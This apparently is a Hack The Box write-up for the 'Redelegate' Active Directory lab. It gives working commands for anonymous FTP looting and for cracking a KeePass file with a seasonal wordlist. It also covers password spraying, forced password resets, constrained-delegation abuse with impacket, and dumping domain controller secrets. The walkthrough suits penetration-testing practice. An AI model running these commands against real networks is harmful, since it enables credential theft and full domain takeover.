HTB Writeup - Redelegate
No Spoilers Hints
- Weak passwords are common and reused across services offering an easy entry.
- ACLs are often mismanaged and provide way too much control, or a way to get more control.
Enumeration
Begin the challenge by starting with nmap as usual.
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 127 Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 10-20-24 01:11AM 434 CyberAudit.txt
| 10-20-24 05:14AM 2622 Shared.kdbx
|_10-20-24 01:26AM 580 TrainingAgenda.txt
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-05-22 22:11:17Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: redelegate.vl, Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 127
1433/tcp open ms-sql-s syn-ack ttl 127 Microsoft SQL Server 2019 15.00.2000.00; RTM
|_ssl-date: 2026-05-22T22:11:49+00:00; +5m05s from scanner time.
| ms-sql-info:
| 10.129.234.50:1433:
| Version:
| name: Microsoft SQL Server 2019 RTM
| number: 15.00.2000.00
| Product: Microsoft SQL Server 2019
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| ms-sql-ntlm-info:
| 10.129.234.50:1433:
| Target_Name: REDELEGATE
| NetBIOS_Domain_Name: REDELEGATE
| NetBIOS_Computer_Name: DC
| DNS_Domain_Name: redelegate.vl
| DNS_Computer_Name: dc.redelegate.vl
| DNS_Tree_Name: redelegate.vl
|_ Product_Version: 10.0.20348
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-05-22T22:10:48
| Not valid after: 2056-05-22T22:10:48
| MD5: 3189 8724 24d4 c0c7 0375 6c01 c9d9 b643
| SHA-1: ab5f 8379 3bb5 f311 9c01 829d 2dee b03a c936 40e4
| SHA-256: a745 c82d 1def ac3b 4646 d980 cba4 3738 ff06 d582 2ff2 18e7 5c5d bd49 c0c4 e715
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: redelegate.vl, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack ttl 127
3389/tcp open ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
|_ssl-date: 2026-05-22T22:11:48+00:00; +5m04s from scanner time.
| rdp-ntlm-info:
| Target_Name: REDELEGATE
| NetBIOS_Domain_Name: REDELEGATE
| NetBIOS_Computer_Name: DC
| DNS_Domain_Name: redelegate.vl
| DNS_Computer_Name: dc.redelegate.vl
| DNS_Tree_Name: redelegate.vl
| Product_Version: 10.0.20348
|_ System_Time: 2026-05-22T22:11:39+00:00
| ssl-cert: Subject: commonName=dc.redelegate.vl
| Issuer: commonName=dc.redelegate.vl
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-05-21T22:08:12
| Not valid after: 2026-11-20T22:08:12
| MD5: 0ed6 8811 5fd5 d368 3bd7 b881 9563 8a29
| SHA-1: f192 0531 03bc d6ac 104f bff0 8834 dbf1 9eaa 97eb
| SHA-256: f0ec 06b9 676c 2630 6bb1 3cae 6cb5 0f33 1bf8 3620 062f d489 34fb d792 3d08 390c
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 41886/tcp): CLEAN (Couldn't connect)
| Check 2 (port 24029/tcp): CLEAN (Couldn't connect)
| Check 3 (port 15429/udp): CLEAN (Failed to receive data)
| Check 4 (port 57876/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
|_clock-skew: mean: 5m04s, deviation: 0s, median: 5m04s
| smb2-time:
| date: 2026-05-22T22:11:41
|_ start_date: N/A
This is pretty typical of an HTB active directory machine; LDAP, Simple DNS Plus, Kerberos, etc. Additionally, it has MSSQL and FTP that is allowing anonymous access.
Firstly, we add the DNS names to our /etc/hosts file to make this easier.
FTP Enumeration
Lowest hanging fruit first, we explore FTP, and download the only files we have available to us:
CyberAudit.txt
Shared.kdbx
TrainingAgenda.txt
The commands are simple, using ftp <target_ip> then log in with anonymous and leaving the password empty.
It’s important when downloading a file like *.kbdx that you put yourself in Binary mode for the download using BIN.
ftp 10.129.234.50
Connected to 10.129.234.50.
220 Microsoft FTP Service
Name (10.129.234.50:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> bin
200 Type set to I.
ftp>
Getting into binary mode will fix errors you may get later when trying to interact with the KeePass database.
Reading all files is important too, especially since these are related to employee security and security auditing, all of which reveal interesting information to us.
cat *.txt
OCTOBER 2024 AUDIT FINDINGS
[!] CyberSecurity Audit findings:
1) Weak User Passwords
2) Excessive Privilege assigned to users
3) Unused Active Directory objects
4) Dangerous Active Directory ACLs
[*] Remediation steps:
1) Prompt users to change their passwords: DONE
2) Check privileges for all users and remove high privileges: DONE
3) Remove unused objects in the domain: IN PROGRESS
4) Recheck ACLs: IN PROGRESS
EMPLOYEE CYBER AWARENESS TRAINING AGENDA (OCTOBER 2024)
Friday 4th October | 14.30 - 16.30 - 53 attendees
"Don't take the bait" - How to better understand phishing emails and what to do when you see one
Friday 11th October | 15.30 - 17.30 - 61 attendees
"Social Media and their dangers" - What happens to what you post online?
Friday 18th October | 11.30 - 13.30 - 7 attendees
"Weak Passwords" - Why "SeasonYear!" is not a good password
Friday 25th October | 9.30 - 12.30 - 29 attendees
"What now?" - Consequences of a cyber attack and how to mitigate them
It’s funny to me that there were only 7 people going to a meeting entitled “Weak Passwords”, a relatively low number of attendees in comparison to the other training sessions. Not only amusing how real this is, but very telling that there will still be a lot of password reuse in the environment.
We can trivially create a wordlist to fit the requirements of this password for later spraying:
Summer2025!
Fall2025!
Autumn2025!
Spring2025!
Winter2024!
Summer2024!
Fall2024!
Autumn2024!
Spring2024!
Winter2025!
Winter2023!
Summer2023!
Fall2023!
Autumn2023!
Spring2023!
The box was released in 2025, and I;m doing it in 2026, but I made the assumption the year would be 2025 or less
just because of it’s release date. Also, use both Fall and Autumn even though that is the same thing but
different English speaking countries use the terms interachangeably. Good idea to use both just in case.
The KeePass file we have is locked by password so the only option we have at the moment without creds is to
attempt to open it. First, we clip the hash out of it using keepass2john:
keepass2john Shared.kbdx > Shared.kbdx.hash
Then use john to crack it using the above wordlist which I called seasons.lst:
john --fork=4 --wordlist=./seasons.lst Shared.kbdx.hash
That gave me the password and was able to successfully open the Shared.kbdx file with keepassxc Shared.kdbx.
Within the KeePass db, there are a few folders for “IT”, “HelpDesk” and “Finance” with a few usernames and passwords
in each. It’s then a matter of trying each one found for usable creds across as many services as possible. All but one actually
works and it’s the credential titled “SQL Guest Access” for the SQLGuest user.
We validate that the password works by using impacket-mssqlclient:
impacket-mssqlclient 'redelegate.vl/SQLGuest:REDACTED'@10.129.234.50
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2019 RTM (15.0.2000)
[!] Press help for extra shell commands
SQL (SQLGuest guest@master)>
First things I tried after enumeration was xp_cmdshell and xp_dirtree which was unable to execute commands,
and even though I could get the sql_svc hash via responder, I couldn’t crack it. However, mssql actually
has a way to do a RID brute force, as is possible using Metasploit:
msfconsole -q
msf > use auxiliary/admin/mssql/mssql_enum_domain_accounts
msf auxiliary(admin/mssql/mssql_enum_domain_accounts) > set PASSWORD REDACTED
msf auxiliary(admin/mssql/mssql_enum_domain_accounts) > set USERNAME SQLGuest
msf auxiliary(admin/mssql/mssql_enum_domain_accounts) > set RHOSTS 10.129.234.50
msf auxiliary(admin/mssql/mssql_enum_domain_accounts) > run
[*] Running module against 10.129.234.50
[*] 10.129.234.50:1433 - Attempting to connect to the database server at 10.129.234.50:1433 as SQLGuest...
[+] 10.129.234.50:1433 - Connected.
[*] 10.129.234.50:1433 - SQL Server Name: WIN-Q13O908QBPG
[*] 10.129.234.50:1433 - Domain Name: REDELEGATE
[+] 10.129.234.50:1433 - Found the domain sid: 010500000000000515000000a185deefb22433798d8e847a
[*] 10.129.234.50:1433 - Brute forcing 10000 RIDs through the SQL Server, be patient...
[*] 10.129.234.50:1433 - - WIN-Q13O908QBPG\Administrator
[*] 10.129.234.50:1433 - - REDELEGATE\Guest
[*] 10.129.234.50:1433 - - REDELEGATE\krbtgt
[*] 10.129.234.50:1433 - - REDELEGATE\Domain Admins
[*] 10.129.234.50:1433 - - REDELEGATE\Domain Users
[*] 10.129.234.50:1433 - - REDELEGATE\Domain Guests
[*] 10.129.234.50:1433 - - REDELEGATE\Domain Computers
[*] 10.129.234.50:1433 - - REDELEGATE\Domain Controllers
[*] 10.129.234.50:1433 - - REDELEGATE\Cert Publishers
[*] 10.129.234.50:1433 - - REDELEGATE\Schema Admins
[*] 10.129.234.50:1433 - - REDELEGATE\Enterprise Admins
[*] 10.129.234.50:1433 - - REDELEGATE\Group Policy Creator Owners
[*] 10.129.234.50:1433 - - REDELEGATE\Read-only Domain Controllers
[*] 10.129.234.50:1433 - - REDELEGATE\Cloneable Domain Controllers
[*] 10.129.234.50:1433 - - REDELEGATE\Protected Users
[*] 10.129.234.50:1433 - - REDELEGATE\Key Admins
[*] 10.129.234.50:1433 - - REDELEGATE\Enterprise Key Admins
[*] 10.129.234.50:1433 - - REDELEGATE\RAS and IAS Servers
[*] 10.129.234.50:1433 - - REDELEGATE\Allowed RODC Password Replication Group
[*] 10.129.234.50:1433 - - REDELEGATE\Denied RODC Password Replication Group
[*] 10.129.234.50:1433 - - REDELEGATE\SQLServer2005SQLBrowserUser$WIN-Q13O908QBPG
[*] 10.129.234.50:1433 - - REDELEGATE\DC$
[*] 10.129.234.50:1433 - - REDELEGATE\FS01$
[*] 10.129.234.50:1433 - - REDELEGATE\Christine.Flanders
[*] 10.129.234.50:1433 - - REDELEGATE\Marie.Curie
[*] 10.129.234.50:1433 - - REDELEGATE\Helen.Frost
[*] 10.129.234.50:1433 - - REDELEGATE\Michael.Pontiac
[*] 10.129.234.50:1433 - - REDELEGATE\Mallory.Roberts
[*] 10.129.234.50:1433 - - REDELEGATE\James.Dinkleberg
[*] 10.129.234.50:1433 - - REDELEGATE\Helpdesk
[*] 10.129.234.50:1433 - - REDELEGATE\IT
[*] 10.129.234.50:1433 - - REDELEGATE\Finance
[*] 10.129.234.50:1433 - - REDELEGATE\DnsAdmins
[*] 10.129.234.50:1433 - - REDELEGATE\DnsUpdateProxy
[*] 10.129.234.50:1433 - - REDELEGATE\Ryan.Cooper
[*] 10.129.234.50:1433 - - REDELEGATE\sql_svc
We get a bunch of users and groups which we can then further spray passwords against using netexec to
find valid passwords for users.
nxc smb 10.129.234.50 -u users.lst -p seasons.lst --continue-on-success
We only get 1 hit and that’s reuse of the password that unlocked the KeePass db, not even one of the passwords
we pulled from the db! Now we have the Marie.Curie user account password.
However, this user is still not able to log on to any of the services provided by the machine directly, but since
the account and password is valid, we can at least use rusthound to get all the data for Bloodhound now:
rusthound -d redelegate.vl -i 10.129.234.50 -u 'Marie.Curie' -p 'REDACTED' -z -f 10.129.234.50
This gives us a .zip file full of AD enumeration which we can pull up in the Bloodhound GUI and analyze.
Bloodhound gives us a path to explore with the Shortest Paths from Owned objects default query:
Marie.Curie --MemberOf--> HelpDesk
HelpDesk -->ForceChangePassword--> Helen.Frost
Helen.Frost --MemberOf--> IT
IT --GenericAll--> FS01
Now, that in itself is not a domain compromise at all, but having GenericAll over a computer account and the box being called Redelegate indicates that it’s likely going to be a constrained delegation at some point.
Lateral Movement to another user account
Bloodhound gives us the exact path to follow to compromise the Helen.Frost account. We can simply do:
impacket-getTGT redelegate.vl/Marie.Curie:'REDACTED'
export KRB5CCNAME=$(pwd)/Marie.Curie.ccache
bloodyAD -d redelegate.vl -k --host 'dc.redelegate.vl' set password "Helen.Frost" 'Pentester1'
And with these 3 commands alone, we get a TGT as our currently compromised user, Marie.Curie, create a local
environment variable to hold a reference to the Kerberos ticket, then use the ticket with bloodyAD to abuse
the ForceChangePassword that Marie.Curie inherits over Helen.Frost.
We can repeat the same step with impacket-getTGT for Helen.Frost so we can use her ticket again later.
At this point in time, knowing this user account’s password, since we set it, we can also log in via winrm
and capture the user flag as this user.
Privilege Escalation via Constrained Delegation
This ends up being a simple process, but there are a few commands to get through to get it to work:
bloodyAD -d redelegate.vl -k --host 'dc.redelegate.vl' set password "FS01$" 'Pentester1'
[+] Password changed successfully!
Firstly, as before, we need to set a password for the computer account as the Helen.Frost user.
Then we need to set the AD attribute to allow for the constrained delegation using that
computer object.
bloodyAD -d redelegate.vl -k --host 'dc.redelegate.vl' add uac 'FS01$' -f TRUSTED_TO_AUTH_FOR_DELEGATION
[-] ['TRUSTED_TO_AUTH_FOR_DELEGATION'] property flags added to FS01$s userAccountControl
bloodyAD -d redelegate.vl -k --host 'dc.redelegate.vl' set object 'FS01$' msDS-AllowedToDelegateTo -v 'cifs/dc.redelegate.vl'
[+] FS01$'s msDS-AllowedToDelegateTo has been updated
Then importantly, unset:
unset KRB5CCNAME
This needs to be unset otherwise you’ll get a name mismatch error on the next command:
impacket-getST redelegate.vl/'FS01$':'Pentester1' -spn 'cifs/dc.redelegate.vl' -impersonate dc
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating dc
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in dc@[email protected]
Then we apply this new ticket into our session:
export KRB5CCNAME=$(pwd)/dc@[email protected]
Then dump the DC secrets with:
impacket-secretsdump -k dc.redelegate.vl
One of the secrets is the domain admin hash which can be used with evil-winrm to log in and collect the
final flag.